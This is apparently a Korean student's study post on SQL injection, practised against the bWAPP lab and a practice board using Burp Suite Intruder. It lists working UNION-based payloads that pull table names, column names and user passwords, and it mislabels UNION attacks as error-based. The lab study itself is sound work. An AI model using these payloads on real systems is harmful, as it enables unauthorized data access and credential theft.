정보보안

애플리케이션 보안 #6-1 SQL Injection (수정완료)

Chloe A 2022. 12. 2. 14:09

SQL Injection

웹 서버 영역의 데이터베이스로 전송되는 쿼리문을 사용자가 임의로 조작 가능 할 때 발생

대표적인 방식으로는 1) WHERE 구문 우회 2) UNION 공격이 있음

 

Practice

1) WHERE 구문 우회

1-1) bWAPP

쿼리문 추측하기

'을 입력했을 때의 에러 메세지를 통해 쿼리문이 WHERE LIKE '[input]%'로 구현돼있음을 추측 가능함

 

1-2) 실습용 web + Burp suite

게시판 검색기능이 참조하고 있는 데이터베이스의 컬럼이 몇개인지 알아보기

게시판 검색기능을 사용, Burp Suite으로 포착
order by를 사용해 col. 갯수를 알아낼 것

 

 

Burp suite의 Intruder 기능을 사용하여 order by 1,2,3... 를 테스트
sniper-numbers 세팅, 1~30까지 1씩 늘려가며 공격

 

order by 24 성공

 

order by 25는 실패한 것으로 보아 해당 테이블의 컬럼은 24개인 것을 알 수 있다.

 

 

2) UNION 공격

2-1) bWAPP

UNION 명령어를 통해 원래 노출되어야 하는 컬럼 외의 다른 컬럼의 정보 추출

 

 

이와 같은 공격을 Error-based SQLi이라 함

아래는 예시문들

 

' union select 1,2,3,4,5,6,7#

' union select 1,@@version,3,4,5,6,7#

0' union select 1,@@version,3,4,5,6,7#

 

 

 

0' union select 1,table_name,3, 4,5,6,7 from information_schema.tables#

0' union select 1,column_name,3, 4,5,6,7 from information_schema.columns#

0' union select 1,column_name,3, 4,5,6,7 from information_schema.columns where table_name='users'#

0' union select 1,login,password,4,5,6,7 from users#

0' union select 1,concat(id,login),password,4,5,6,7 from users#

0' union select 1,table_name,3,4,5,6,7 from information_schema.tables#

' union select 1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from information_schema.tables#